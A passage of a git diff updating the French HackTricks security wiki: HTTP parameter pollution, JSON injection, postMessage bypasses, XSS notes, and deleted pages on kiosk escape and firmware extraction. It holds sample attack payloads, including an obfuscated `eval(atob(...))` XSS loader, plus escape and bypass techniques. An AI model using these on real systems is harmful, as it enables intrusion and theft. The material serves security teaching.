(HPP) est une technique où les attaquants manipulent les paramètres HTTP pour modifier le comportement d'une application web de manière inattendue. Cette manipulation se fait en ajoutant, modifiant ou dupliquant des paramètres HTTP. L'effet de ces manipulations n'est pas directement visible pour l'utilisateur mais peut altérer considérablement la fonctionnalité de l'application côté serveur, avec des impacts observables côté client. -### Exemple de Pollution de Paramètre HTTP (HPP) +### Exemple de Pollution de Paramètres HTTP (HPP) Une URL de transaction d'application bancaire : @@ -18,14 +16,14 @@ En insérant un paramètre `from` supplémentaire : - **URL manipulée :** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC` -La transaction peut être incorrectement facturée à `accountC` au lieu de `accountA`, montrant le potentiel de HPP pour manipuler des transactions ou d'autres fonctionnalités telles que les réinitialisations de mot de passe, les paramètres 2FA ou les demandes de clé API. +La transaction peut être incorrectement débitée à `accountC` au lieu de `accountA`, montrant le potentiel de la HPP pour manipuler des transactions ou d'autres fonctionnalités telles que les réinitialisations de mot de passe, les paramètres 2FA ou les demandes de clé API. #### **Analyse des Paramètres Spécifique à la Technologie** -- La manière dont les paramètres sont analysés et priorisés dépend de la technologie web sous-jacente, affectant la façon dont HPP peut être exploité. +- La manière dont les paramètres sont analysés et priorisés dépend de la technologie web sous-jacente, affectant la façon dont la HPP peut être exploitée. - Des outils comme [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) aident à identifier ces technologies et leurs comportements d'analyse. -### Exploitation de PHP et HPP +### Exploitation de HPP en PHP **Cas de Manipulation d'OTP :** @@ -46,10 +44,10 @@ Cet exemple souligne encore la nécessité d'une gestion sécurisée des paramè ### Analyse des Paramètres : Flask vs. PHP -La manière dont les technologies web gèrent les paramètres HTTP dupliqués varie, affectant leur susceptibilité aux attaques HPP : +La manière dont les technologies web gèrent les paramètres HTTP dupliqués varie, affectant leur vulnérabilité aux attaques HPP : -- **Flask :** Adopte la première valeur de paramètre rencontrée, comme `a=1` dans une chaîne de requête `a=1&a=2`, priorisant l'instance initiale sur les duplicatas suivants. -- **PHP (sur Apache HTTP Server) :** Au contraire, priorise la dernière valeur de paramètre, optant pour `a=2` dans l'exemple donné. Ce comportement peut faciliter involontairement les exploits HPP en honorant le paramètre manipulé de l'attaquant plutôt que l'original. +- **Flask :** Adopte la première valeur de paramètre rencontrée, comme `a=1` dans une chaîne de requête `a=1&a=2`, priorisant l'instance initiale sur les doublons suivants. +- **PHP (sur Apache HTTP Server) :** Au contraire, priorise la dernière valeur de paramètre, optant pour `a=2` dans l'exemple donné. Ce comportement peut faciliter involontairement les exploits HPP en honorant le paramètre manipulé par l'attaquant plutôt que l'original. ## Pollution de paramètres par technologie @@ -69,7 +67,7 @@ Les résultats ont été tirés de [https://medium.com/@0xAwali/http-parameter-p

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*kKxtZ8qEmgTIMS81py5hhg.jpeg

1. Utilise les délimiteurs & et ; pour séparer les paramètres. -2. Nom\[] non reconnu. +2. Ne reconnaît pas name\[]. 3. Préférer le premier paramètre. ### Spring MVC 6.0.23 ET Apache Tomcat 10.1.30 @@ -93,28 +91,28 @@ Les résultats ont été tirés de [https://medium.com/@0xAwali/http-parameter-p

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg

-1. Nom\[] non reconnu. +1. NE reconnaît pas name\[]. 2. Préférer le premier paramètre. ### Python 3.12.6 ET Werkzeug 3.0.4 ET Flask 3.0.3

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg

-1. Nom\[] non reconnu. +1. NE reconnaît pas name\[]. 2. Préférer le premier paramètre. ### Python 3.12.6 ET Django 4.2.15

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg

-1. Nom\[] non reconnu. +1. NE reconnaît pas name\[]. 2. Préférer le dernier paramètre. ### Python 3.12.6 ET Tornado 6.4.1

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg

-1. Nom\[] non reconnu. +1. NE reconnaît pas name\[]. 2. Préférer le dernier paramètre. ## Injection JSON @@ -143,19 +141,19 @@ Cela peut également être utilisé pour contourner les restrictions de valeur t {"role": "administrator""} {"role": "admini\strator"} ``` -### **Utilisation de la troncature de commentaires** +### **Utiliser la troncature de commentaire** ```ini obj = {"description": "Duplicate with comments", "test": 2, "extra": /*, "test": 1, "extra2": */} ``` Ici, nous utiliserons le sérialiseur de chaque analyseur pour voir sa sortie respective. -Le sérialiseur 1 (par exemple, la bibliothèque GoJay de GoLang) produira : +Serializer 1 (par exemple, la bibliothèque GoJay de GoLang) produira : - `description = "Duplicate with comments"` - `test = 2` - `extra = ""` -Le sérialiseur 2 (par exemple, la bibliothèque JSON-iterator de Java) produira : +Serializer 2 (par exemple, la bibliothèque JSON-iterator de Java) produira : - `description = "Duplicate with comments"` - `extra = "/*"` @@ -181,7 +179,7 @@ obj = {"test": 1, "test": 2} obj["test"] // 1 obj.toString() // {"test": 2} ``` -### Flottant et Entier +### Float et Entier Le nombre ```undefined diff --git a/src/pentesting-web/postmessage-vulnerabilities/README.md b/src/pentesting-web/postmessage-vulnerabilities/README.md index 8a8aa756b..b4cc4ac8a 100644 --- a/src/pentesting-web/postmessage-vulnerabilities/README.md +++ b/src/pentesting-web/postmessage-vulnerabilities/README.md @@ -1,7 +1,5 @@ # Vulnérabilités PostMessage -## Vulnérabilités PostMessage - {{#include ../../banners/hacktricks-training.md}} ## Envoyer **PostMessage** @@ -89,7 +87,7 @@ Pour **trouver des écouteurs d'événements** sur la page actuelle, vous pouvez ### Contournements de vérification d'origine - L'attribut **`event.isTrusted`** est considéré comme sécurisé car il renvoie `True` uniquement pour les événements générés par de véritables actions de l'utilisateur. Bien qu'il soit difficile à contourner s'il est correctement implémenté, son importance dans les vérifications de sécurité est notable. -- L'utilisation de **`indexOf()`** pour la validation d'origine dans les événements PostMessage peut être sujette à contournement. Un exemple illustrant cette vulnérabilité est : +- L'utilisation de **`indexOf()`** pour la validation d'origine dans les événements PostMessage peut être susceptible de contournement. Un exemple illustrant cette vulnérabilité est : ```javascript "https://app-sj17.marketo.com".indexOf("https://app-sj17.ma") @@ -157,7 +155,7 @@ bypassing-sop-with-iframes-2.md ### Contournement de l'en-tête X-Frame -Pour effectuer ces attaques, idéalement, vous devrez être en mesure de **mettre la page web de la victime** à l'intérieur d'un `iframe`. Mais certains en-têtes comme `X-Frame-Header` peuvent **empêcher** ce **comportement**.\ +Pour effectuer ces attaques, idéalement, vous devrez **mettre la page web de la victime** à l'intérieur d'un `iframe`. Mais certains en-têtes comme `X-Frame-Header` peuvent **empêcher** ce **comportement**.\ Dans ces scénarios, vous pouvez toujours utiliser une attaque moins discrète. Vous pouvez ouvrir un nouvel onglet vers l'application web vulnérable et communiquer avec elle : ```html ``` -> [!NOTE] -> Vous **ne pourrez pas accéder aux cookies depuis JavaScript** si le drapeau HTTPOnly est défini dans le cookie. Mais ici, vous avez [certaines façons de contourner cette protection](../hacking-with-cookies/index.html#httponly) si vous avez de la chance. +> [!TIP] +> Vous **ne pourrez pas accéder aux cookies depuis JavaScript** si le drapeau HTTPOnly est défini dans le cookie. Mais ici, vous avez [certaines façons de contourner cette protection](../hacking-with-cookies/index.html#httponly) si vous avez la chance. ### Voler le contenu de la page ```javascript @@ -1500,7 +1502,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln ``` ### Regex - Accéder au contenu caché -D'après [**cet article**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay), il est possible d'apprendre que même si certaines valeurs disparaissent du JS, il est toujours possible de les trouver dans les attributs JS dans différents objets. Par exemple, une entrée d'un REGEX est toujours possible à trouver après que la valeur de l'entrée du regex a été supprimée : +D'après [**cet article**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay), il est possible d'apprendre que même si certaines valeurs disparaissent de JS, il est toujours possible de les trouver dans les attributs JS dans différents objets. Par exemple, une entrée d'un REGEX est toujours possible à trouver après que la valeur de l'entrée du regex a été supprimée : ```javascript // Do regex with flag flag = "CTF{FLAG}" @@ -1527,7 +1529,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt ### XSS dans Markdown -Peut-on injecter du code Markdown qui sera rendu ? Peut-être que vous pouvez obtenir XSS ! Vérifiez : +Peut injecter du code Markdown qui sera rendu ? Peut-être que vous pouvez obtenir XSS ! Vérifiez : {{#ref}} xss-in-markdown.md diff --git a/src/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md b/src/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md index 4a448d764..2b56778e1 100644 --- a/src/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md +++ b/src/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md @@ -1,14 +1,12 @@ # Débogage du JS côté client -## Débogage du JS côté client - {{#include ../../banners/hacktricks-training.md}} Déboguer le JS côté client peut être pénible car chaque fois que vous changez l'URL (y compris un changement dans les paramètres utilisés ou les valeurs des paramètres), vous devez **réinitialiser le point d'arrêt et recharger la page**. ### `debugger;` -Si vous placez la ligne `debugger;` à l'intérieur d'un fichier JS, lorsque le **navigateur** exécute le JS, il va **arrêter** le **débogueur** à cet endroit. Par conséquent, une façon de définir des points d'arrêt constants serait de **télécharger tous les fichiers localement et de définir des points d'arrêt dans le code JS**. +Si vous placez la ligne `debugger;` à l'intérieur d'un fichier JS, lorsque le **navigateur** exécute le JS, il **s'arrêtera** au **débogueur** à cet endroit. Par conséquent, une façon de définir des points d'arrêt constants serait de **télécharger tous les fichiers localement et de définir des points d'arrêt dans le code JS**. ### Remplacements diff --git a/src/physical-attacks/escaping-from-gui-applications/README.md b/src/physical-attacks/escaping-from-gui-applications/README.md deleted file mode 100644 index c8c2ff5cf..000000000 --- a/src/physical-attacks/escaping-from-gui-applications/README.md +++ /dev/null @@ -1,276 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - -# Vérifiez les actions possibles dans l'application GUI - -**Dialogues communs** sont ces options de **sauvegarde d'un fichier**, **ouverture d'un fichier**, sélection d'une police, d'une couleur... La plupart d'entre eux **offriront une fonctionnalité complète d'Explorateur**. Cela signifie que vous pourrez accéder aux fonctionnalités de l'Explorateur si vous pouvez accéder à ces options : - -- Fermer/Fermer sous -- Ouvrir/Ouvrir avec -- Imprimer -- Exporter/Importer -- Rechercher -- Scanner - -Vous devriez vérifier si vous pouvez : - -- Modifier ou créer de nouveaux fichiers -- Créer des liens symboliques -- Accéder à des zones restreintes -- Exécuter d'autres applications - -## Exécution de commandes - -Peut-être qu'en **utilisant une option `Ouvrir avec`** vous pouvez ouvrir/exécuter une sorte de shell. - -### Windows - -Par exemple _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ trouvez plus de binaires qui peuvent être utilisés pour exécuter des commandes (et effectuer des actions inattendues) ici : [https://lolbas-project.github.io/](https://lolbas-project.github.io) - -### \*NIX \_\_ - -_bash, sh, zsh..._ Plus ici : [https://gtfobins.github.io/](https://gtfobins.github.io) - -# Windows - -## Contournement des restrictions de chemin - -- **Variables d'environnement** : Il existe de nombreuses variables d'environnement qui pointent vers un certain chemin -- **Autres protocoles** : _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_ -- **Liens symboliques** -- **Raccourcis** : CTRL+N (ouvrir une nouvelle session), CTRL+R (Exécuter des commandes), CTRL+SHIFT+ESC (Gestionnaire des tâches), Windows+E (ouvrir l'explorateur), CTRL-B, CTRL-I (Favoris), CTRL-H (Historique), CTRL-L, CTRL-O (Fichier/Ouvrir), CTRL-P (Dialogue d'impression), CTRL-S (Enregistrer sous) -- Menu Administratif caché : CTRL-ALT-F8, CTRL-ESC-F9 -- **URI Shell** : _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_ -- **Chemins UNC** : Chemins pour se connecter à des dossiers partagés. Vous devriez essayer de vous connecter au C$ de la machine locale ("\\\127.0.0.1\c$\Windows\System32") -- **Plus de chemins UNC :** - -| UNC | UNC | UNC | -| ------------------------- | -------------- | -------------------- | -| %ALLUSERSPROFILE% | %APPDATA% | %CommonProgramFiles% | -| %COMMONPROGRAMFILES(x86)% | %COMPUTERNAME% | %COMSPEC% | -| %HOMEDRIVE% | %HOMEPATH% | %LOCALAPPDATA% | -| %LOGONSERVER% | %PATH% | %PATHEXT% | -| %ProgramData% | %ProgramFiles% | %ProgramFiles(x86)% | -| %PROMPT% | %PSModulePath% | %Public% | -| %SYSTEMDRIVE% | %SYSTEMROOT% | %TEMP% | -| %TMP% | %USERDOMAIN% | %USERNAME% | -| %USERPROFILE% | %WINDIR% | | - -## Téléchargez vos binaires - -Console : [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\ -Explorateur : [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\ -Éditeur de registre : [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/) - -## Accéder au système de fichiers depuis le navigateur - -| CHEMIN | CHEMIN | CHEMIN | CHEMIN | -| --------------------- | ------------------- | -------------------- | --------------------- | -| File:/C:/windows | File:/C:/windows/ | File:/C:/windows\\ | File:/C:\windows | -| File:/C:\windows\\ | File:/C:\windows/ | File://C:/windows | File://C:/windows/ | -| File://C:/windows\\ | File://C:\windows | File://C:\windows/ | File://C:\windows\\ | -| C:/windows | C:/windows/ | C:/windows\\ | C:\windows | -| C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% | -| %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% | -| %HOMEDRIVE% | %HOMESHARE | |


| - -## Raccourcis - -- Touches collantes – Appuyez sur SHIFT 5 fois -- Touches de souris – SHIFT+ALT+NUMLOCK -- Contraste élevé – SHIFT+ALT+PRINTSCN -- Touches de basculement – Maintenez NUMLOCK pendant 5 secondes -- Touches de filtre – Maintenez la touche SHIFT droite pendant 12 secondes -- WINDOWS+F1 – Recherche Windows -- WINDOWS+D – Afficher le bureau -- WINDOWS+E – Lancer l'Explorateur Windows -- WINDOWS+R – Exécuter -- WINDOWS+U – Centre d'accessibilité -- WINDOWS+F – Rechercher -- SHIFT+F10 – Menu contextuel -- CTRL+SHIFT+ESC – Gestionnaire des tâches -- CTRL+ALT+DEL – Écran de démarrage sur les versions Windows plus récentes -- F1 – Aide F3 – Recherche -- F6 – Barre d'adresse -- F11 – Basculer en plein écran dans Internet Explorer -- CTRL+H – Historique d'Internet Explorer -- CTRL+T – Internet Explorer – Nouvel onglet -- CTRL+N – Internet Explorer – Nouvelle page -- CTRL+O – Ouvrir un fichier -- CTRL+S – Enregistrer CTRL+N – Nouveau RDP / Citrix - -## Glissements - -- Glissez de la gauche vers la droite pour voir toutes les fenêtres ouvertes, minimisant l'application KIOSK et accédant directement à l'ensemble du système d'exploitation ; -- Glissez de la droite vers la gauche pour ouvrir le Centre d'Action, minimisant l'application KIOSK et accédant directement à l'ensemble du système d'exploitation ; -- Glissez depuis le bord supérieur pour rendre la barre de titre visible pour une application ouverte en mode plein écran ; -- Glissez vers le haut depuis le bas pour afficher la barre des tâches dans une application en plein écran. - -## Astuces Internet Explorer - -### 'Barre d'images' - -C'est une barre d'outils qui apparaît en haut à gauche de l'image lorsqu'elle est cliquée. Vous pourrez Enregistrer, Imprimer, Mailto, Ouvrir "Mes images" dans l'Explorateur. Le Kiosk doit utiliser Internet Explorer. - -### Protocole Shell - -Tapez ces URL pour obtenir une vue de l'Explorateur : - -- `shell:Administrative Tools` -- `shell:DocumentsLibrary` -- `shell:Libraries` -- `shell:UserProfiles` -- `shell:Personal` -- `shell:SearchHomeFolder` -- `shell:NetworkPlacesFolder` -- `shell:SendTo` -- `shell:UserProfiles` -- `shell:Common Administrative Tools` -- `shell:MyComputerFolder` -- `shell:InternetFolder` -- `Shell:Profile` -- `Shell:ProgramFiles` -- `Shell:System` -- `Shell:ControlPanelFolder` -- `Shell:Windows` -- `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Panneau de configuration -- `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> Mon ordinateur -- `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Mes emplacements réseau -- `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer - -## Afficher les extensions de fichier - -Consultez cette page pour plus d'informations : [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml) - -# Astuces pour les navigateurs - -Versions de sauvegarde d'iKat : - -[http://swin.es/k/](http://swin.es/k/)\ -[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\ - -Créez un dialogue commun en utilisant JavaScript et accédez à l'explorateur de fichiers : `document.write('')` -Source : https://medium.com/@Rend_/give-me-a-browser-ill-give-you-a-shell-de19811defa0 - -# iPad - -## Gestes et boutons - -- Glissez vers le haut avec quatre (ou cinq) doigts / Double-tapez sur le bouton Accueil : Pour voir la vue multitâche et changer d'application - -- Glissez d'un côté ou de l'autre avec quatre ou cinq doigts : Pour changer vers l'application suivante/précédente - -- Pincez l'écran avec cinq doigts / Touchez le bouton Accueil / Glissez vers le haut avec 1 doigt depuis le bas de l'écran en un mouvement rapide vers le haut : Pour accéder à l'accueil - -- Glissez un doigt depuis le bas de l'écran sur seulement 1-2 pouces (lentement) : Le dock apparaîtra - -- Glissez vers le bas depuis le haut de l'affichage avec 1 doigt : Pour voir vos notifications - -- Glissez vers le bas avec 1 doigt dans le coin supérieur droit de l'écran : Pour voir le centre de contrôle de l'iPad Pro - -- Glissez 1 doigt depuis la gauche de l'écran sur 1-2 pouces : Pour voir la vue Aujourd'hui - -- Glissez rapidement 1 doigt depuis le centre de l'écran vers la droite ou la gauche : Pour changer vers l'application suivante/précédente - -- Appuyez et maintenez le bouton On/**Off**/Veille en haut à droite de l'**iPad +** Déplacez le curseur pour **éteindre** complètement vers la droite : Pour éteindre - -- Appuyez sur le bouton On/**Off**/Veille en haut à droite de l'**iPad et le bouton Accueil pendant quelques secondes** : Pour forcer un arrêt complet - -- Appuyez rapidement sur le bouton On/**Off**/Veille en haut à droite de l'**iPad et le bouton Accueil** : Pour prendre une capture d'écran qui apparaîtra en bas à gauche de l'affichage. Appuyez sur les deux boutons en même temps très brièvement, car si vous les maintenez quelques secondes, un arrêt complet sera effectué. - -## Raccourcis - -Vous devriez avoir un clavier iPad ou un adaptateur de clavier USB. Seuls les raccourcis qui pourraient aider à échapper à l'application seront affichés ici. - -| Touche | Nom | -| ------ | ------------ | -| ⌘ | Commande | -| ⌥ | Option (Alt) | -| ⇧ | Maj | -| ↩ | Retour | -| ⇥ | Tab | -| ^ | Contrôle | -| ← | Flèche gauche | -| → | Flèche droite | -| ↑ | Flèche haut | -| ↓ | Flèche bas | - -### Raccourcis système - -Ces raccourcis sont pour les paramètres visuels et sonores, selon l'utilisation de l'iPad. - -| Raccourci | Action | -| --------- | ------------------------------------------------------------------------------ | -| F1 | Diminuer l'écran | -| F2 | Augmenter l'écran | -| F7 | Reculer d'une chanson | -| F8 | Lecture/pause | -| F9 | Passer à la chanson suivante | -| F10 | Couper le son | -| F11 | Diminuer le volume | -| F12 | Augmenter le volume | -| ⌘ Espace | Afficher une liste des langues disponibles ; pour en choisir une, appuyez à nouveau sur la barre d'espace. | - -### Navigation sur iPad - -| Raccourci | Action | -| --------------------------------------------------- | ------------------------------------------------------- | -| ⌘H | Aller à l'accueil | -| ⌘⇧H (Commande-Shift-H) | Aller à l'accueil | -| ⌘ (Espace) | Ouvrir Spotlight | -| ⌘⇥ (Commande-Tab) | Lister les dix dernières applications utilisées | -| ⌘\~ | Aller à la dernière application | -| ⌘⇧3 (Commande-Shift-3) | Capture d'écran (flotte en bas à gauche pour enregistrer ou agir dessus) | -| ⌘⇧4 | Capture d'écran et l'ouvrir dans l'éditeur | -| Appuyez et maintenez ⌘ | Liste des raccourcis disponibles pour l'application | -| ⌘⌥D (Commande-Option/Alt-D) | Affiche le dock | -| ^⌥H (Contrôle-Option-H) | Bouton d'accueil | -| ^⌥H H (Contrôle-Option-H-H) | Afficher la barre multitâche | -| ^⌥I (Contrôle-Option-i) | Choix d'éléments | -| Échap | Bouton de retour | -| → (Flèche droite) | Élément suivant | -| ← (Flèche gauche) | Élément précédent | -| ↑↓ (Flèche haut, Flèche bas) | Appuyez simultanément sur l'élément sélectionné | -| ⌥ ↓ (Option-Flèche bas) | Faire défiler vers le bas | -| ⌥↑ (Option-Flèche haut) | Faire défiler vers le haut | -| ⌥← ou ⌥→ (Option-Flèche gauche ou Option-Flèche droite) | Faire défiler à gauche ou à droite | -| ^⌥S (Contrôle-Option-S) | Activer ou désactiver la synthèse vocale | -| ⌘⇧⇥ (Commande-Shift-Tab) | Passer à l'application précédente | -| ⌘⇥ (Commande-Tab) | Revenir à l'application d'origine | -| ←+→, puis Option + ← ou Option+→ | Naviguer à travers le Dock | - -### Raccourcis Safari - -| Raccourci | Action | -| ----------------------- | ------------------------------------------------ | -| ⌘L (Commande-L) | Ouvrir l'emplacement | -| ⌘T | Ouvrir un nouvel onglet | -| ⌘W | Fermer l'onglet actuel | -| ⌘R | Actualiser l'onglet actuel | -| ⌘. | Arrêter le chargement de l'onglet actuel | -| ^⇥ | Passer à l'onglet suivant | -| ^⇧⇥ (Contrôle-Shift-Tab) | Passer à l'onglet précédent | -| ⌘L | Sélectionner le champ de saisie de texte/URL pour le modifier | -| ⌘⇧T (Commande-Shift-T) | Ouvrir le dernier onglet fermé (peut être utilisé plusieurs fois) | -| ⌘\[ | Reculer d'une page dans votre historique de navigation | -| ⌘] | Avancer d'une page dans votre historique de navigation | -| ⌘⇧R | Activer le mode lecteur | - -### Raccourcis Mail - -| Raccourci | Action | -| -------------------------- | ---------------------------- | -| ⌘L | Ouvrir l'emplacement | -| ⌘T | Ouvrir un nouvel onglet | -| ⌘W | Fermer l'onglet actuel | -| ⌘R | Actualiser l'onglet actuel | -| ⌘. | Arrêter le chargement de l'onglet | -| ⌘⌥F (Commande-Option/Alt-F) | Rechercher dans votre boîte aux lettres | - -# Références - -- [https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html](https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html) -- [https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html](https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html) -- [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/) -- [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/physical-attacks/firmware-analysis/README.md b/src/physical-attacks/firmware-analysis/README.md deleted file mode 100644 index 0e689a15c..000000000 --- a/src/physical-attacks/firmware-analysis/README.md +++ /dev/null @@ -1,240 +0,0 @@ -# Analyse du firmware - -{{#include ../../banners/hacktricks-training.md}} - -## **Introduction** - -Le firmware est un logiciel essentiel qui permet aux appareils de fonctionner correctement en gérant et en facilitant la communication entre les composants matériels et le logiciel avec lequel les utilisateurs interagissent. Il est stocké dans une mémoire permanente, garantissant que l'appareil peut accéder à des instructions vitales dès qu'il est allumé, ce qui conduit au lancement du système d'exploitation. L'examen et la modification potentielle du firmware sont une étape cruciale pour identifier les vulnérabilités de sécurité. - -## **Collecte d'informations** - -**La collecte d'informations** est une étape initiale critique pour comprendre la composition d'un appareil et les technologies qu'il utilise. Ce processus implique la collecte de données sur : - -- L'architecture CPU et le système d'exploitation qu'il utilise -- Les spécificités du bootloader -- La disposition matérielle et les fiches techniques -- Les métriques de code et les emplacements source -- Les bibliothèques externes et les types de licences -- Les historiques de mise à jour et les certifications réglementaires -- Les diagrammes architecturaux et de flux -- Les évaluations de sécurité et les vulnérabilités identifiées - -À cette fin, les outils de **renseignement open-source (OSINT)** sont inestimables, tout comme l'analyse de tout composant logiciel open-source disponible par le biais de processus de révision manuels et automatisés. Des outils comme [Coverity Scan](https://scan.coverity.com) et [Semmle’s LGTM](https://lgtm.com/#explore) offrent une analyse statique gratuite qui peut être exploitée pour trouver des problèmes potentiels. - -## **Acquisition du firmware** - -L'obtention du firmware peut être abordée par divers moyens, chacun ayant son propre niveau de complexité : - -- **Directement** à partir de la source (développeurs, fabricants) -- **En le construisant** à partir des instructions fournies -- **En le téléchargeant** depuis des sites de support officiels -- En utilisant des requêtes **Google dork** pour trouver des fichiers de firmware hébergés -- Accéder directement au **stockage cloud**, avec des outils comme [S3Scanner](https://github.com/sa7mon/S3Scanner) -- Intercepter les **mises à jour** via des techniques de l'homme du milieu -- **Extraire** depuis l'appareil via des connexions comme **UART**, **JTAG** ou **PICit** -- **Sniffer** les requêtes de mise à jour dans la communication de l'appareil -- Identifier et utiliser des **points de terminaison de mise à jour codés en dur** -- **Dumping** depuis le bootloader ou le réseau -- **Retirer et lire** la puce de stockage, lorsque tout le reste échoue, en utilisant des outils matériels appropriés - -## Analyser le firmware - -Maintenant que vous **avez le firmware**, vous devez extraire des informations à son sujet pour savoir comment le traiter. Différents outils que vous pouvez utiliser pour cela : -```bash -file -strings -n8 -strings -tx #print offsets in hex -hexdump -C -n 512 > hexdump.out -hexdump -C | head # might find signatures in header -fdisk -lu #lists a drives partition and filesystems if multiple -``` -Si vous ne trouvez pas grand-chose avec ces outils, vérifiez l'**entropie** de l'image avec `binwalk -E `, si l'entropie est faible, il est peu probable qu'elle soit chiffrée. Si l'entropie est élevée, il est probable qu'elle soit chiffrée (ou compressée d'une certaine manière). - -De plus, vous pouvez utiliser ces outils pour extraire des **fichiers intégrés dans le firmware** : - -{{#ref}} -../../forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md -{{#endref}} - -Ou [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) pour inspecter le fichier. - -### Obtenir le Système de Fichiers - -Avec les outils précédemment commentés comme `binwalk -ev `, vous devriez avoir pu **extraire le système de fichiers**.\ -Binwalk extrait généralement cela dans un **dossier nommé selon le type de système de fichiers**, qui est généralement l'un des suivants : squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs. - -#### Extraction Manuelle du Système de Fichiers - -Parfois, binwalk **n'aura pas le byte magique du système de fichiers dans ses signatures**. Dans ces cas, utilisez binwalk pour **trouver l'offset du système de fichiers et extraire le système de fichiers compressé** du binaire et **extraire manuellement** le système de fichiers selon son type en suivant les étapes ci-dessous. -``` -$ binwalk DIR850L_REVB.bin - -DECIMAL HEXADECIMAL DESCRIPTION ------------------------------------------------------------------------------ --- - -0 0x0 DLOB firmware header, boot partition: """"dev=/dev/mtdblock/1"""" -10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes -1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes -1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41 -``` -Exécutez la commande **dd suivante** pour extraire le système de fichiers Squashfs. -``` -$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs - -8257536+0 records in - -8257536+0 records out - -8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s -``` -Alternativement, la commande suivante pourrait également être exécutée. - -`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs` - -- Pour squashfs (utilisé dans l'exemple ci-dessus) - -`$ unsquashfs dir.squashfs` - -Les fichiers seront dans le répertoire "`squashfs-root`" par la suite. - -- Fichiers d'archive CPIO - -`$ cpio -ivd --no-absolute-filenames -F ` - -- Pour les systèmes de fichiers jffs2 - -`$ jefferson rootfsfile.jffs2` - -- Pour les systèmes de fichiers ubifs avec NAND flash - -`$ ubireader_extract_images -u UBI -s ` - -`$ ubidump.py ` - -## Analyse du Firmware - -Une fois le firmware obtenu, il est essentiel de le disséquer pour comprendre sa structure et ses vulnérabilités potentielles. Ce processus implique l'utilisation de divers outils pour analyser et extraire des données précieuses de l'image du firmware. - -### Outils d'Analyse Initiale - -Un ensemble de commandes est fourni pour l'inspection initiale du fichier binaire (appelé ``). Ces commandes aident à identifier les types de fichiers, extraire des chaînes, analyser des données binaires et comprendre les détails de la partition et du système de fichiers : -```bash -file -strings -n8 -strings -tx #prints offsets in hexadecimal -hexdump -C -n 512 > hexdump.out -hexdump -C | head #useful for finding signatures in the header -fdisk -lu #lists partitions and filesystems, if there are multiple -``` -Pour évaluer l'état de l'encryption de l'image, l'**entropie** est vérifiée avec `binwalk -E `. Une faible entropie suggère un manque d'encryption, tandis qu'une haute entropie indique une possible encryption ou compression. - -Pour extraire des **fichiers intégrés**, des outils et ressources comme la documentation **file-data-carving-recovery-tools** et **binvis.io** pour l'inspection des fichiers sont recommandés. - -### Extraction du Système de Fichiers - -En utilisant `binwalk -ev `, on peut généralement extraire le système de fichiers, souvent dans un répertoire nommé d'après le type de système de fichiers (par exemple, squashfs, ubifs). Cependant, lorsque **binwalk** ne parvient pas à reconnaître le type de système de fichiers en raison de 